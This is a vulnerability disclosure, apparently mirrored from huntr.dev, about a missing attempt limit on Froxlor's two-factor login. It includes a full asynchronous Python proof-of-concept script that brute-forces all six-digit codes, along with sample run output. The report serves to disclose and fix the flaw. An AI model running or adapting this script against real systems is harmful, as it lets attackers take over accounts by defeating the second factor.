Lucene search

K
huntrSro04D715F76-950D-4251-8139-3DFFEA798F14
HistoryMar 15, 2023 - 10:18 p.m.

2FA Bypass by Brute Force

2023-03-1522:18:44
sro0
www.huntr.dev
10
2fa bypass
brute force
authenticator app
email
security bug

0.002 Low

EPSS

Percentile

56.6%

Description

Currently there are no restrictions on attempts to enter the correct 2FA code. In contrast to the first step of the authentication (username + password) the fields of lastlogin_fail and loginfail_count in the database aren’t updated. An attacker can bypass the 2FA by simple brute force of all numbers from 000000 to 999999.

However the attacker still needs valid credentials (username + password). The brute force of up to 1000000 numbers may take some time (depending on the webserver performance).

This affects the 2FA via Authenticator App and via email.

In case of 2FA using an Authenticator App, the attacker doesn’t need to hit a single specific number. Actually there are always 7 valid codes, because of the 2FA discrepancy of 3 (3 codes from past, current code, 3 codes from future).

Proof of Concept

#!/usr/bin/env python3

import asyncio
import aiohttp
import requests
from aiolimiter import AsyncLimiter

limiter = AsyncLimiter(100, 0.1)
twofaFound = False

async def twoFA_login(twoFA_number, semaphore) -> None:
	global twofaFound
	if twofaFound == True:
		return False
	twoFA_number = str(twoFA_number).zfill(6)
	async with aiohttp.ClientSession(cookies=indexReq.cookies) as session:
		await semaphore.acquire()
		if twofaFound == True:
			semaphore.release()
		else:
			async with limiter:
				#print(f"Begin downloading {url} seconds")
				
				async with session.post(
							url, 
							data={
								"2fa_code": twoFA_number, 
								"action": "2fa_verify", 
								"send": "send", 
								"2faverify": ""
							},
							allow_redirects=False
						) as resp:
					await resp.read()
					if "showmessage=2" not in resp.headers['Location'] and not twofaFound:
						twofaFound = True
						print("Found 2FA: " + twoFA_number)
					semaphore.release()

async def twoFA_task(twoFA_number: int, semaphore) -> None:
	await twoFA_login(twoFA_number, semaphore)
	
async def main() -> None:
	semaphore = asyncio.Semaphore(value=100)
	min = 0
	max = 999999
	step = 100000
	for twofa_start in range(min, max, step):
		print("Bruteforcing: " + str(twofa_start) + " - " + str(twofa_start+step))
		tasks = [asyncio.create_task(twoFA_task(i, semaphore)) for i in range(twofa_start, twofa_start+step)]
		done, pending = await asyncio.wait(tasks)
		if twofaFound:
			break

if __name__ == "__main__":
	url = input("Enter Froxlor URL: ")
	username = input("Enter username for twoFA account: ")
	password = input("Enter password for twoFA account: ")

	indexReq = requests.get(url)
	if len(indexReq.cookies) == 0:
		raise Exception("Didn't get any cookie")

	loginReq = requests.post(
			url, 
			data={
				"loginname": username, 
				"password": password, 
				"script": "", 
				"qrystr": "", 
				"send": "send",
				"dologin": ""
			}, 
			cookies=indexReq.cookies
			)
	
	if "2fa_code" not in loginReq.text:
		raise Exception("Unexpected response, login failed?")
	
	asyncio.run(main())

example PoC output for account configured with Authenticator App for 2FA

user@ubn22:~$ time ./2fa_brute.py 
Enter Froxlor URL: http://127.0.0.1/froxlor/
Enter username for twoFA account: web2
Enter password for twoFA account: rockYOU123!
Bruteforcing: 0 - 100000
Bruteforcing: 100000 - 200000
Found 2FA: 142981

real	6m31,732s
user	2m43,736s
sys	0m19,115s

example PoC output for account configured with email for 2FA

user@ubn22:~$ time ./2fa_brute.py 
Enter Froxlor URL: http://127.0.0.1/froxlor/
Enter username for twoFA account: web3
Enter password for twoFA account: rockYOU123!
Bruteforcing: 0 - 100000
Found 2FA: 009429

real	0m51,858s
user	0m21,239s
sys	0m1,412s

0.002 Low

EPSS

Percentile

56.6%

Related for 4D715F76-950D-4251-8139-3DFFEA798F14